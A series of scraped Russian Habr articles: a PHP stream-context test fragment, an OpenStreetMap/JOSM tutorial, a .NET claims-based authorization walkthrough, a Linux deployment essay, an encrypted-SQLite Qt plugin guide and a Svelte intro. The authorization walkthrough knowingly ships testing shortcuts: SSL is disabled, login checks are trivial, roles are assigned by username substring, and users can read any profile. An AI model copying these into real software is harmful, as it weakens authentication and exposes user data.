> 'content' => QUERY,
>
> ),
>
> ));
>
>
>
> // Отправить запрос на себя, чтобы запустить тесты
>
> // и показать результат выполнения тестов
>
> echo file\_get\_contents(
>
> $file = "http://{$\_SERVER['HTTP\_HOST']}{$\_SERVER['PHP\_SELF']}?runTests",
>
> $use\_include\_path = false,
>
> $context);
>
>
>
> /\*\*
>
> \* Запустить тесты
>
> \*/
>
> } else {
>
> $suite = new FileGetContentsTest;
>
> $suite->run(new DefaultReporter());
>
> }**
>
> \* This source code was highlighted with Source Code Highlighter.`
Следуюшие файловые функции принимают контексты:
* file
* fopen
* readfile
* file\_get\_contents
* file\_put\_contents | https://habr.com/ru/post/48726/ | null | ru | null |
# Работа с OSM под Linux
Проект [OpenStreetMap](http://www.osm.org/ "OpenStreetMap") предполагает создание сообществом свободно распространяемых картографических данных по средством свободно распространяемого же программного обеспечения. Давайте рассмотрим какое ПО предлагается для редактирования карт, а в качестве дистрибутива берем Ubuntu Linux 9.10.
Так как формат OSM является открытым, то нет никакого ограничения на использование различных редакторов, таким образом у вас есть возможность написать свой редактор, который будет удовлетворять именно вашим запросам. Наиболее популярные редакторы, которые доступны на настольных компьютерах это:
* **[Poltach](http://www.openstreetmap.org/edit "Poltach")**, работающий в браузере и построенный на технологии adobe flash,
* **[JOSM](http://josm.openstreetmap.de "JOSM")**, написанный на Java,
* **[Merkaartor](http://www.merkaartor.org "Merkaartor")**
Далее рассмотрим работу с простым в освоении, использовании и в то же время мощным редактором JOSM (Java OpenStreetMap editor), который полностью русифицирован, поддерживает подключение модулей, в разработке которых участвует большое количество профессионалов.
Редакторы JOSM и Merkaartor доступны для пользователей Ubuntu напрямую из «центра установки приложений», но произведя установку таким образом вы, скорее всего, получите старую версию программного обеспечения. В новых версиях ПО устраняются ошибки и добавляется функционал, поэтому будет лучше иметь последнюю версию редактора.
Для работы редактора вам понадобится установленный пакет Java. Для его установки вызовите окно терминала (Приложения>Стандартные->Терминал) и наберите:
`sudo aptitude install sun-java6-jre`
После нажатия клавиши Enter система запросит у вас пароль пользователя, который вы установили при инсталляции операционной системы, введите его.
Теперь вы можете [загрузить последнюю версию редактора](http://josm.openstreetmap.de/download/josm-latest.jar "загрузить последнюю версию редактора") и запускать его просто дважды щелкнув мышкой по файлу josm-lastest.jar, но в таком случае вам не удастся указать дополнительные параметры работы. Для указания параметров необходимо запускать редактор из терминала, либо создать кнопку на рабочем столе. Для этого щелкните правой клавишей на пустом месте на рабочем столе и выберите пункт «создать кнопку запуска...», введите название (например, JOSM), в строке «команда» введите:
`java -Xmx512M -jar "../josm-latest.jar"`
где *"../josm-latest.jar"* это путь к скачанному вами файлу редактора, к примеру *"/home/user/Рабочий стол/josm-latest.jar"*,
*-Xmx512M* — указание на максимальный объем памяти (в мегабайтах), выделяемый для Java.
Если вы используете прокси, то можно указать:
*-Dhttp.proxyHost=*IP адрес вашего прокси-сервера,
*-Dhttp.proxyPort*=порт прокси-сервера.
И так, все подготовлено для запуска редактора и вы можете сделать это дважды щелкнув по созданной нами кнопке запуска.
После первого запуска необходимо зайти в настройки редактора (клавиша F12).
Первоначально вам необходимо внести в параметрах соединения ваши имя пользователя и пароль, а так же добавить модули по вашему усмотрению (в процессе работы вы поймете что вам необходимо), но модули validator, который проверяет данные перед отправкой их на сервер и wmsplugin, который может отображать спутниковые снимки в подложке желательны.
Из чего же состоит в общем случае работа маппера?
* Сбор данных,
* Конвертирование их в подходящий формат,
* Внесение их в общую базу,
* Формирование и использование карты.
Для того, чтобы внести данные на карту OpenStreetMap необходимо прежде всего эти данные раздобыть. Свободная лицензия подразумевает то, что все данные, вносимые в базу, из данных которой стоится карта, должны быть такими же свободными, то есть получены лицензионно-чистым путем.
Запрещается срисовывать и использовать данные с других карт, пускай даже бесплатных, лицензионная политика которых противоречит [лицензии OSM](http://wiki.openstreetmap.org/wiki/OpenStreetMap_License "лицензии OSM"). Среди таких, с которых копировать нельзя, находятся практически все существующие для России карты и сервисы по предоставлению карт-схем в Интеренте. Однако, достигнута договоренность сообщества OSM с сервисом Yahoo!Maps о предоставлении спутниковых снимков для рисования по ним, но достаточно подробные, с высокой детализацией снимки, доступны для не большого количества городов. Российский партнер OSM компания Космоснимки.ру предоставила свои снимки территории России для сообщества OSM.
Наиболее чистым источником данных являются GPS-треки с устройств навигации и таблички на домах. Редактор JOSM позволяет автоматизировать ввод таких данных.
Передвигаясь по местности, карту которой вы планируете составить, включите запись на вашем GPS-устройстве, фотографируйте таблички с именами улиц. Если есть такая возможность, то сфотографируйте показания часов GPS-устройства, это поможет в дальнейшем рассчитать разницу во времени между точками трека и фотографиями.
Далее сохраните данные и передайте их на компьютер. Данные необходимо конвертировать в формат GPX (GPS Exchange), именно этот формат поддерживается редактором и базой OpenStreetMap. Необходим учесть, что сервер принимает файлы только с отметками времени, в этом случае, в зависимости от ваших установок приватности другие пользователи смогут увидеть ваши треки.
Если ваше GPS устройство записывает треки в другом формате, то вы можете воспользоваться программой [Gebabbel](http://gebabbel.sourceforge.net/), которая позволяет конвертировать треки. Установить эту программу можно напрямую из центра приложений Ubuntu.
В левом окне вы добавляете исходные файлы, указываете их формат. В среднем указываются фильтры, в правом необходимые результаты (GPX), снизу необходимо указать с каким данными необходимо произвести работу, нас интересуют tracks и waypoints. Для конвертации нужно нажать кнопку Execute.
Теперь запустите редактор JOSM и откройте GPX файл, он отобразится в центральной части рабочего экрана.
Рабочая область разделена на 5 частей.
Горизонтальная часть сверху — область меню, основных средств управления и шаблонов,
Вертикальная полоса слева — область выбора инструментов,
Основная часть посередине рабочая область,
Колонки слева — область свойств и дополнительных параметров.
Горизонтальная полоса снизу — строка состояния.
В формате OSM существует несколько основных объектов, которые можно создавать, исправлять или удалять, это:
* точка,
* линия между несколькими точками, имеет направление,
* замкнутая линия (полигон),
* отношение, которое описывает взаимоотношения других объектов (включая другие отношения).
К этим элементам могут быть добавлены параметры и их значения, так называемые теги. Так, к примеру, к точечному объекту светофору необходимо будет добавить тег highway (дорога, параметр) = traffic\_signals (светофор, значение), к дороге можно применить highway = residential (жилая улица), к полигону можно применить building=yes (здание) и т.д.
Особенностью проекта OpenStreetMap является то, что все пользователи вносят правки в одну базу данных, поэтому, скорее всего, вдоль вашего трека уже будут существовать какие-то данные, их необходимо загрузить, нажав на соответствующую клавишу основного меню (стрелка вниз).
После этого, используя инструменты выбора, рисования, применяя шаблоны внесите необходимые правки на карту, после чего вам необходимо проверить данные на наличие ошибок и выгрузить данные на сервер (стрелка ввехр). Введите, если это необходимо, имя пользователя и пароль, а так же краткое описание произведенных вами правок.
Теперь, после выгрузки данных вы можете пользоваться совместно созданной картой OpenStreetMap с помощью web-карты по адресу [www.osm.org](http://www.osm.org), либо установив одну из программ. Основные программы, которые могут использовать карты OSM это:
* [tangoGPS](http://www.tangogps.org/ "tangoGPS"), доступен напрямую из центра установки приложений,
* [Navit-Project](http://www.navit-project.org/ "Navit-Project"), поддерживает прокладку маршрута,
* [GpsDrive](http://www.gpsdrive.de/ "GPS-Drive"). | https://habr.com/ru/post/91171/ | null | ru | null |
# Пример «claims-based» авторизации с «xml-based» конфигурацией политики доступа

#### Введение
Тема аутентификации и авторизации всегда будет актуальна для большинства web-приложений. Многие .NET разработчики уже успели познакомиться с Windows Identity Foundation (WIF), его подходами и возможностями для реализации так называемых «identity-aware» приложений. Для тех, кто не успел поработать с WIF, первое знакомство можно начать с изучения следующего [раздела MSDN](http://msdn.microsoft.com/en-us/library/hh377151(v=vs.110).aspx). В данной же статье я предлагаю более детально взглянуть на так называемый «claims-based» подход к авторизации пользователей путем изучения того, как это может выглядеть на примере.
#### Claims-Based Authorization
«Claims-Based» авторизация это подход, при котором решение авторизации о предоставлении или запрете доступа определенному пользователю базируется на произвольной логике, которая в качестве входных данных использует некий набор «claims» относящихся к этому пользователю. Проводя аналогию с «Role-Based» подходом, у некого администратора в его наборе «claims» будет только один элемент с типом «Role» и значением «Administrator», например. Более детально, о преимуществах и проблемах, которые решает этот подход можно прочесть на том же [MSDN](http://msdn.microsoft.com/en-us/library/hh545448(v=vs.110).aspx), также советую посмотреть [лекцию Доминика Байера](http://vimeo.com/43549130).
В целом, вышеупомянутый подход поощряет разработчиков к разделению бизнес логики приложения от логики авторизации и это действительно удобно. Так как же это выглядит на практике? К ней собственно и приступим.
#### Постановка задачи
Предположим, что нужно создать некий API сервис, который будет доступен нескольким клиентским приложениям. Функционал у клиентских приложений разный, пользователи также. Возможно, появятся еще и другие клиентские приложения, со своими пользователями и схемой взаимодействия с API, поэтому нам необходимо иметь гибкую систему авторизации для того, чтобы иметь возможность на любом этапе сконфигурировать политику доступа к API для того или иного приложения/пользователя. API в нашем случае будет построено с использованием ASP.NET Web API 2.0, клиентскими приложениями будут, например, Windows Phone приложение и Web-сайт.
Рассмотрим приложения их пользователей и функционал более детально:
###### Windows Phone клиент
1. Сам по себе может только регистрировать новых пользователей.
2. Зарегистрированные пользователи могут:
* просматривать свой профиль;
* обновлять свой профиль;
* производить смену своего пароля;
###### Web клиент
1. Сам по себе не имеет доступа к API.
2. Зарегистрированные мобильным клиентом пользователи могут:
* просматривать свой профиль;
* обновлять свой профиль;
* производить смену своего пароля;
3. Администраторы системы могут:
* всё то же, что и пользователи для своего аккаунта;
* всё то же, что и пользователи для аккаунта любого пользователя;
* просматривать список всех зарегистрированный пользователей;
* создавать/удалять пользователей;
Итак, мы имеем представление о том, какой функционал должен предоставляться через API, каким клиентам и с какими правилами. Что ж, приступим к реализации!
#### Реализация
Начнем с определения интерфейса будущего API сервиса:
```
public interface IUsersApiController
{
// List all users.
IEnumerable GetAllUsers();
// Lookup single user.
User GetUserById(int id);
// Create user.
HttpResponseMessage Post(RegisterModel user);
// Restore user's password.
HttpResponseMessage RestorePassword(string email);
// Update user.
HttpResponseMessage Put(int id, UpdateUserModel value);
// Delete user.
HttpResponseMessage Delete(string email);
}
```
Непосредственную реализацию API оставим за скобками данной статьи, по крайней мере, для примера сойдет и вариант вроде этого:
```
public class UsersController : ApiController
{
//...
public HttpResponseMessage Post([FromBody]RegisterModel user)
{
if (ModelState.IsValid)
{
return Request.CreateResponse(HttpStatusCode.OK, "Created!");
}
else
{
return Request.CreateErrorResponse(HttpStatusCode.BadRequest, ModelState);
}
}
//...
}
```
Следующим шагом создадим наследника класса ClaimsAuthorizationManager и переопределим некоторые его методы. `ClaimsAuthorizationManager` — это именно тот компонент WIF, который позволяет в одном месте перехватывать входящие запросы и выполнять произвольную логику, которая исходя из набора «claims» текущего пользователя\* решает о предоставлении или запрете доступа.
\* — о том, где этот набор формируется поговорим чуть позже.
Не уходя далеко, мы можем позаимствовать его реализацию из MSDN по [этой ссылке](http://msdn.microsoft.com/en-us/library/system.security.claims.claimsauthorizationmanager(v=vs.110).aspx). Как видим из секции «Examples» переопределены следующие методы:
```
///
/// Overloads the base class method to load the custom policies from the config file
///
/// XmlNodeList containing the policy information read from the config file
public override void LoadCustomConfiguration(XmlNodeList nodelist)
{...}
///
/// Checks if the principal specified in the authorization context is authorized
/// to perform action specified in the authorization context on the specified resource
///
/// Authorization context
/// true if authorized, false otherwise
public override bool CheckAccess(AuthorizationContext pec)
{...}
```
Глядя на реализацию и комментарии к ней, можно разобраться что происходит и я не буду останавливаться на этом. Отмечу только формат политики доступа из этого примера:
```
...
...
```
Политика доступа здесь — это набор секций «policy», каждая из которых идентифицируется такими атрибутами как «resource» и «action». Внутри каждой такой секции перечислены «claims» которые необходимы для доступа к ресурсу. В случае WebApi «resource» — это имя контроллера, «action» — имя action-метода. Более того, есть возможность строить правила доступа с использованием логических условий\*.
\* — и всё бы замечательно если бы в текущей реализации была возможность конфигурировать больше 2-x элементов «claim» внутри блоков «and» или «or».
Пока используем всё «as-is», за исключением названия наследника, его изменим на `XmlBasedAuthorizationManager`. Если попробовать сбилдить проект, то окажется что нам не хватает класса `PolicyReader`, его можно взять из [полных исходных кодов](http://code.msdn.microsoft.com/vstudio/Claims-Based-Authorization-89cf736e/sourcecode?fileId=54328&pathId=1068860546) MSDN-примера.
После того, как новая реализация готова, сконфигурируем WebAPI приложение для использования ее в качестве менеджера авторизации. Для этого:
1. Зарегистрируем конфигурационные секции обязательные для работы WIF:
```
```
2. Укажем какую реализацию следует использовать в качестве менеджера авторизации:
```
```
Отлично, мы указали WIF какую реализацию использовать, но как вы заметили, в конфигурации выше остались две детали:
1. вместо набора xml-секций «policy» у нас пусто;
2. присутствует xml-элемент "`claimsAuthenticationManager`", о котором я не упоминал ранее.
Рассмотрим эти пункты по порядку.
##### 1. Конфигурация политики доступа
Возвращаясь к постановке задачи, а также учитывая уже рассмотренный формат политики доступа, попробуем составить конфигурацию для нашего API. Получится следующий набор правил:
```
```
Видим, что некоторые policy-секции проще, некоторые сложнее, некоторые повторяются. Рассмотрим по частям, начиная с простого варианта — *политика доступа для получения списка пользователей*:
```
```
Все предельно очевидно: доступ к данному ресурсу есть у тех пользователей, набор «claims» которых содержит оба «сlaim» — элемента.
Теперь более сложный вариант — *получение информации о пользователе по идентификатору*:
```
```
Возвращаясь к требованиям, к данному ресурсу могут иметь доступ только администраторы веб приложения, а также пользователи при условии, что каждый пользователь может получать данные только по своему аккаунту. Как видим, первое требование мы без труда устанавливаем в первом `..` блоке. Но как же быть с пользователями?
К сожалению, текущая реализация, которую Мы доблестно скопировали, не позволяет сейчас конфигурировать это условие. К тому же, как я уже [упоминал выше](#Fail), она также не позволяет использовать внутри логических "`and/or`" блоков вложенные элементы. Если уж быть предельно честным, то эта реализация жестко устанавливает количество «claim» элементов равное двум внутри "`and/or`" блоков.
Что касается условия «каждый отдельный пользователь может получать данные только по своему аккаунту», то я планирую предложить свой вариант решения в следующей статье. Предлагаю пока смириться с тем, что все пользователи могут просматривать информацию друг о друге, как выходит из составленной конфигурации. Особенно пока реализация метода `GetUserById` выглядит как `throw new NotImplementedException()`.
А вот чтобы текущая конфигурация работала исправно мы немного изменим реализацию класса `PolicyReader`:
```
///
/// Read the Or Node
///
/// XmlDictionaryReader of the policy Xml
/// ClaimsPrincipal subject
/// A LINQ expression created from the Or node
private Expression> ReadOr(XmlDictionaryReader rdr, ParameterExpression subject)
{
Expression defaultExpr = Expression.Invoke((Expression>)(() => false));
while (rdr.Read())
{
if (rdr.NodeType != XmlNodeType.EndElement && rdr.Name != "or")
{
defaultExpr = Expression.OrElse(defaultExpr, Expression.Invoke(ReadNode(rdr, subject), subject));
}
else
break;
}
rdr.ReadEndElement();
Expression> resultExpr
= Expression.Lambda>(defaultExpr, subject);
return resultExpr;
}
///
/// Read the And Node
///
/// XmlDictionaryReader of the policy Xml
/// ClaimsPrincipal subject
/// A LINQ expression created from the And node
private Expression> ReadAnd(XmlDictionaryReader rdr, ParameterExpression subject)
{
Expression defaultExpr = Expression.Invoke((Expression>)(() => true));
while (rdr.Read())
{
if (rdr.NodeType != XmlNodeType.EndElement && rdr.Name != "and")
{
defaultExpr = Expression.AndAlso(defaultExpr, Expression.Invoke(ReadNode(rdr, subject), subject));
}
else
break;
}
rdr.ReadEndElement();
Expression> resultExpr
= Expression.Lambda>(defaultExpr, subject);
return resultExpr;
}
```
Что ж, мы сконфигурировали политику доступа к ресурсам нашего API, создали реализацию менеджера авторизации, который умеет работать с нашей конфигурацией. Теперь можно перейти к аутентификации — этапу, который предшествует авторизации.
##### 2. Аутентификация и ClaimsAuthenticationManager
Еще до того как принимать решение имеет ли пользователь доступ к ресурсу, сперва нужно произвести аутентификацию, и если она успешна — наполнить набор «claims» пользователя.
Для аутентификации будем использовать [Basic Authentication](http://www.asp.net/web-api/overview/security/basic-authentication) и, например, ее реализацию в [Thinktecture.IdentityModel.45](https://github.com/thinktecture/Thinktecture.IdentityModel.45). Для этого в NuGet-консоли выполним команду:
```
Install-Package Thinktecture.IdentityModel
```
Код класса `WebApiConfig` изменим, чтобы он был приблизительно следующим:
```
public static class WebApiConfig
{
public static void Register(HttpConfiguration config)
{
var authentication = CreateAuthenticationConfiguration();
config.MessageHandlers.Add(new AuthenticationHandler(authentication));
config.MapHttpAttributeRoutes();
config.Routes.MapHttpRoute(
name: "DefaultApi",
routeTemplate: "api/{controller}/{id}",
defaults: new { id = RouteParameter.Optional }
);
config.EnableSystemDiagnosticsTracing();
config.Filters.Add(new ClaimsAuthorizeAttribute());
}
private static AuthenticationConfiguration CreateAuthenticationConfiguration()
{
var authentication = new AuthenticationConfiguration
{
ClaimsAuthenticationManager = new AuthenticationManager(),
RequireSsl = false //only for testing
};
#region Basic Authentication
authentication.AddBasicAuthentication((username, password) =>
{
var webSecurityService = ServiceLocator.Current.GetInstance();
return webSecurityService.Login(username, password);
});
#endregion
return authentication;
}
}
```
Здесь отмечу только то, что для проверки credentials пришедших из запроса у меня используется некий `IWebSecurityService`. Вы можете использовать здесь свою логику, например: ~~`return username == password;`~~
Теперь при каждом запросе к любому ресурсу будет производиться проверка аутентификации, но еще нам нужно трансформировать базовый набор «claims» текущего пользователя. Этим занимается [`ClaimsAuthenticationManager`](http://msdn.microsoft.com/en-us/library/system.security.claims.claimsauthenticationmanager.aspx), а точнее наш наследник этого класса, который мы [уже зарегистрировали](#claimsAuthenticationManager):
```
public class AuthenticationManager : ClaimsAuthenticationManager
{
public override ClaimsPrincipal Authenticate(string resourceName, ClaimsPrincipal incomingPrincipal)
{
if (!incomingPrincipal.Identity.IsAuthenticated)
{
return base.Authenticate(resourceName, incomingPrincipal);
}
var claimsService = ServiceLocator.Current.GetInstance();
var claims = claimsService.GetUserClaims(incomingPrincipal.Identity.Name);
foreach (var userClaim in claims)
{
incomingPrincipal.Identities.First().AddClaim(new Claim(userClaim.Type, userClaim.Value));
}
return incomingPrincipal;
}
}
```
Как видим, если пользователь прошел аутентификацию — происходит получение его набора «claims», скажем из БД, посредством использования вновь созданного экземпляра `IUsersClaimsService`. После «трансформации» экземпляр [ClaimsPrincipal](http://msdn.microsoft.com/en-us/library/system.security.claims.claimsprincipal.aspx) возвращается дальше в конвеер для последующего использования, например, авторизацией.
#### Проверка результата
Пришло время проверить работоспособность нашего решения. Для этого нам естественно понадобятся пользователи с теми или иными «claims». Не будем долго фантазировать над тем откуда их взять и немного видоизменим `AuthenticationManager` в целях тестирования. Вместо использования `IUsersClaimsService` вставим следующий код:
```
public class AuthenticationManager : ClaimsAuthenticationManager
{
public override ClaimsPrincipal Authenticate(string resourceName, ClaimsPrincipal incomingPrincipal)
{
...
if (incomingPrincipal.Identity.Name.ToLower().Contains("user"))
{
incomingPrincipal.Identities.First().AddClaim(new Claim(ClaimTypes.Role, "User"));
}
return incomingPrincipal;
}
}
```
Отлично, теперь все пользователи, логин которых содержит слово «user» будут содержать нужный «claim».
Запустим проект и перейдем по ссылке [localhost](http://localhost):[port]/api/users

Вводим заветные логин и пароль, наша незамысловатая авторизация проверить их на равенство, а менеджер авторизации трансформирует набор «claims»:

Продолжим выполнение и убедимся, что простой смертный не может просматривать список всех пользователей:

Теперь давайте вспомним о том, что на этапе конфигурирования политики доступа нам пришлось на некоторое время разрешить всем пользователям просматривать информацию друг о друге, этим и воспользуемся. Попробуем узнать о пользователе с Id=100, зайдя по ссылке ~/api/users/100:

И вот мы наблюдаем, что некая реализация, появившаяся в кулуарах, возвращает информацию о любом пользователе :)
#### Заключение
Итак мы познакомились с некоторыми возможностями WIF, разобрали пример того, с чего можно начать при построении гибкой системы авторизации, а также немного «покодировали».
Спасибо за внимание. | https://habr.com/ru/post/198424/ | null | ru | null |
# Deploy-ные костыли или пироги с «сюрпризом»

##### Копать или не копать?
Я хочу поговорить о казалось-бы простой, но важной части любой ОС — о регламенте или структуре размещения файлов или более просто — хочется поговорить о порядке и удобстве. Затрагивать я буду UNIX подобные ОС, а конкретно все многообразие дистрибутивов на базе ядра Linux.
Итак, программист создал программу и хочет её распространять, теперь есть задача — установка программы пользователем. Для этого, вроде как существуют стандарты (FHS, LSB), однако многообразие средств установки ПО просто обескураживает и программист, в меру своих способностей, реализует средства по установке, от простого README до чего-то более сложного.
Да, сегодня большинство дистрибутивов обладают системой установки программ, которая в пределах дистрибутива решает вопросы с установкой программ и в какой-то степени облегчает труд программисту. А когда понадобилось управлять большой группой разных дистрибутивов (стойки в ЦОД'ах, VM) были создали различные системы управления конфигурациями (CFEngine, Bcfg2 puppet, Chef, etc). И вроде-бы всё ok, но чувство костыльности, всего этого многообразия, вот уже лет 14 (с момента когда начал ковырять RedHat Linux 5.2) не покидает меня… Так в чём же дело?
##### Корни
Попробую отбросить всё наносное, что сегодня применяется для установки/удаления программ в типичном дистрибутиве Linux — прикину что делать с программой, сложнее чем helloworld, убрав:
* системы управления конфигурациями;
* пакетный менеджер;
* все без исключения скрипты установки, в том числе те, которые производят предварительные действия типа создания каталогов для размещения библиотек, ресурсов, документации программы, скрипты компиляции и т.п.;
* и даже README/INSTALL файл.
Какие теперь надо выполнить действия что-бы установить, а затем удалить программу, вместе со всеми её компонентами?
Допустим я сумел разобраться в том, где должны размещаться части программы, создал нужные каталоги, скопировал файлы, обновил окружение и программа теперь успешно выполняется.
Но прошло время, мной уже давно забыто где и как размещались компоненты программы, я лишь помню название программы и мне нужно удалить её вместе со всеми компонентами и созданными ею файлами. И вот тут я становлюсь в тупик — что делать? Натравить на программу strace и ldd? Найти все одноимённые каталоги, что-бы удалить документацию? Ради того, что-бы просто удалить программу и все её компоненты? И ведь не факт, что всё будет найдено и удалено.
Итак, если обойтись без реверансов, то наблюдаемая ситуация с установкой/удалением программ в Linux — хорошо замаскированный ~~bullshit~~crap:
##### И что с этим делать?
Есть простая программа install, которая позволяет копировать и устанавливать нужные атрибуты на копируемые файлы, однако и результаты её работы следует удалять привычным rm.
Что-бы запустить какую-либо программу и завершить её выполнение доступны функции **execve()** и **\_exit()**, что-бы отрыть файл и закрыть его есть функции **open()**/**create()** и **close()**. При этом при выполнении/остановке программы имеет место быть **идентификатор процесса** (**PID**), а при открытии/закрытии файла — десктриптор файла. Так почему бы для установки/удаления программы не ввести, что-то похожее на **идентификатор размещения программы**, допустим назвать его Deploy ID (**DID**)/Install ID (**IID**), который на самом деле может являться стандартным UUID, предоставив несколько функции для оперирования с этим идентификатором типа **\_appinstall()**/**\_appupdate()**/**\_appuninstall()**/etc и соответствующую команду типа ps, например app? И почему-бы не размещать программу с её компонентами, допустим не в
```
/etc/program.conf
/etc/program.conf.d/someone.conf
/usr/bin/program
/usr/lib/program/libprogram.so
/usr/share/doc/program/manual.txt
/var/program/database
```
а в
```
/etc//program.conf
/etc//program.conf.d/someone.conf
/usr/bin//program
/usr/lib//libprogram.so
/usr/docs//manual.txt
/var//database
```
Да, это будет ещё один пакетный менеджер, к нему могут появляться удобные GUI и системы управления конфигурациями никуда не денутся. Но! Все может ложиться в POSIX, размещение программы и её компонент может производиться строгим образом, а удаление становится простым даже в случае разрушения базы идентификаторов. Кроме-того, пройдясь по структуре размещения файлов можно будет восстановить все идентификаторы, пересоздав базу, так же как это делает updatedb строя индекс для locate. Появляется возможность, достаточно просто, производить установку нескольких версий или экземпляров одной программы и переключения между версиями.
Если идти дальше, то резонно и конфигурационные файлы программ привести к какому-то общему знаменателю, унифицировав их содержимое используя, например, тот же xml или json, но предоставляя функции на манер **\_appconfigdeploy()** с валидацией конфигурации на соответствие предопределённой, допустим в том же POSIX, схеме.
##### Сухари сушить или удочку забрасывать?
Вообще есть дистрибутивы, которые вроде как двинулись в сторону унификации размещения программ их компонент и конфигурационных файлов, такие как [GoboLinux](http://www.gobolinux.org/) (который похоже прекратили развивать), и на мой взгляд к этому подходу ближе всех пакетный менеджер [nix](http://nixos.org/nix/) и созданный на его базе дистрибутив [NixOS](http://nixos.org/nixos/). Но я думаю нужна масштабная инициатива, обсуждение, такое-же как в отношении FHS. Если конечно я вообще прав.
Вот такие пироги.
P.S. Как-то я поднимал [обсуждение](https://www.google.ru/search?q=site%3Agentoo.ru+RNZ+%D0%A3%D0%BD%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F&oq=site%3Agentoo.ru+RNZ+%D0%A3%D0%BD%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F&sugexp=chrome,mod=9&sourceid=chrome&ie=UTF-8) на эту тему в 2006 году, на форуме gentoo.ru.
**UPD**: Сходу минусующие, задайтесь вопросом:
устроило-бы программиста, скажем, появление различий в способе fork'а процесса, допустим в debian и redhat? Думаю, что нет (помятуя о коссплатформенном). Так почему костылизм в виде разных правил и подходов к установке программ является нормой?
**UPD**: Как видно по [комментариям](http://www.linux.org.ru/forum/talks/8285744) на LOR, неспособность бороться со стереотипами, свойственна не только прожженным пользователям windows, увы, добавлю некоторое [пояснение](http://www.linux.org.ru/forum/talks/8285744?cid=8292141):
Схема отличается простой логикой — один id для одного экземпляра пакета, развёрнутого в систему без разрушения уже сложившейся и стандартизированной базовой файловой иерархии (в отличии от nixos, в котором изменения чрезмерно тотальны, например /usr/ содержит только /usr/bin/env -> /nix/store/id-coreutils-version/bin/env, это при том, что сам пм nix позволяет под любым дистрибутивом свою помойку организовать в $HOME, не затрагивая основную систему вообще).
Собственно полученный id выступает в роли идентификатора для всех частей программы, добавляя всего один уровень в файловой иерархии для незначительной, но удобной изоляции компонент программ друг от друга (в том числе одной и той же программы в нескольких версиях), через этот же id проще контролировать права доступа к программе и её компонентам.
Конечно есть жертвы, основная из которых и которую не принимают, это **human-readable path** (hrp) — по сути всё недопонимание из-за того, что за hrp видят KISS и недоумевают — почему вдруг пути до программы и её компонент должны стать чем-то сложным, но нет тут ничего сложного, взгляните в теже fstab — почему для монтирования стали использовать label и uuid? Да потому, что захотелось удобства. Вот и я своим did пытаюсь получить удобства, хотя-бы:
* лучше контролировать программы, безотносительно наличия/отсутствия репы;
* иметь возможность вести несколько версий программы, не парясь c prefix и slot;
* иметь возможность получать доступ к частям программы через имя программы (так же как мы это делаем дёргая функцию звонить из звонилки смарта, не пытаясь каждый раз перед этим прописать в конфиг команды инициализации и дозвона для gsm модуля), на уровне shell, без необходимости дёргать различные тулзы, писать alias'ы и править переменные окружения. | https://habr.com/ru/post/152841/ | null | ru | null |
# Шифрование SQLite базы данных в Qt
Для шифрования в SQLite были найдены следующие возможные решения:
* [SEE](https://www.sqlite.org/see/doc/trunk/www/index.wiki) — официальная реализация.
* [wxSQLite](http://sourceforge.net/projects/wxsqlite/files/) — c++ wxWidgets обертка для шифрования SQLite.
* [SQLCipher](https://www.zetetic.net/sqlcipher/) — использует в реализации openSSL.
* [SQLiteCrypt](http://sqlite-crypt.com/documentation.htm) — модифицированная реализация API.
* [botansqlite3](https://github.com/OlivierJG/botansqlite3) — шифрующий кодек для SQLite3 использующий библиотеку botan.
* [SQLiteCrypto](http://www.andbrain.com/product/sqlitecrypto/) — java API для Android, использует AES-256 и SHA-256.
* [QtCipherSqlitePlugin](https://github.com/devbean/QtCipherSqlitePlugin) — SQL плагин для Qt с поддержкой шифрования.
Из рассмотренных решений SEE, SQLiteCrypt and SQLiteCrypto требуют приобретения лицензии. SQLCipher доступен в версии Community Edition, но требует libcrypto.
Наиболее интересным решением из представленного списка, на мой взгляд, является **QtCipherSqlitePlugin**.
Плагин шифрует «на лету» и полностью интегрирован в API Qt.
Плагин базируется на исходниках SQLite а также wxSQLite3 из wxWidgets и выпущен под лицензией LGPL 2.1.
В качестве алгоритма шифрования используется [Advanced Encryption Standard (AES)](https://ru.wikipedia.org/wiki/Advanced_Encryption_Standard).
#### Сборка и установка плагина
##### 1. Скачиваем исходники QtCipherSqlitePlugin
`git clone github.com/devbean/QtCipherSqlitePlugin.git`
##### 2. Скачиваем исходники Qt необходимой версии (в примере — 4.8.6)
`wget download.qt.io/archive/qt/4.8/4.8.6/qt-everywhere-opensource-src-4.8.6.tar.gz`
##### 3. Распаковываем полученный архив
`tar zxvf qt-everywhere-opensource-src-4.8.6.tar.gz`
##### 4. Открываем проект в QtCreator
QtCipherSqlitePlugin\sqlitecipher\sqlitecipher.pro
##### 5. Указываем директории исходников Qt
В файле QtCipherSqlitePlugin\sqlitecipher\qt\_p.pri в строчках
> # Qt4
>
> !greaterThan(QT\_MAJOR\_VERSION, 4): INCLUDEPATH += /src/sql/kernel
>
> # Qt5
>
> greaterThan(QT\_MAJOR\_VERSION, 4): INCLUDEPATH += /Src/qtbase/src/sql/kernel
Задать соответствующие пути к исходникам Qt. В моем случае для Qt4 получилась строка
> /home/developer/Sources/qt-everywhere-opensource-src-4.8.6/src/sql/kernel
##### 6. Собираем проект
##### 7. Копируем библиотеку плагина в директорию плагинов Qt
В моем случае в директорию /usr/lib/x86\_64-linux-gnu/qt4/plugins/sqldrivers
#### Использование плагина
##### 1. Проверяем работоспособность
Запустив приложение из проекта QtCipherSqlitePlugin/test/test.pro убеждаемся, что драйвер базы данных SQLITECIPHER появился в списке доступных драйверов.
> («QSQLITE», «SQLITECIPHER»)
>
> 1: «AAA»
>
> 2: «BBB»
>
> 3: «CCC»
>
> 3: «DDD»
>
> 4: «EEE»
>
> 5: «FFF»
>
> 6: «GGG»
##### 2. Создаем шифрованную БД
Удаляем файл *test\_c.db*, созданный в ходе выполнения приложения test.
В коде main.cpp проекта test.pro перед подключением к БД устанавливаем пароль.
`dbconn.setPassword("password");`
Запускаем приложение, будет создана тестовая БД. Закрываем его, меняем пароль, повторно запускаем, видим, что доступа с неверным паролем к БД нет.
#### Нерешенный вопрос
Осталось непонятным, как поменять пароль для уже созданной и зашифрованной по этому паролю БД. | https://habr.com/ru/post/216739/ | null | ru | null |
# Чему я научился, написав библиотеку компонентов на Svelte

Попробовав Svelte в личных проектах, мне захотелось двигаться дальше, и взять фреймворк в проект побольше. Для этого написал библиотеку компонентов [svelte-atoms](https://www.npmjs.com/package/svelte-atoms). За основу я взял UI кит на React, который используем на работе.
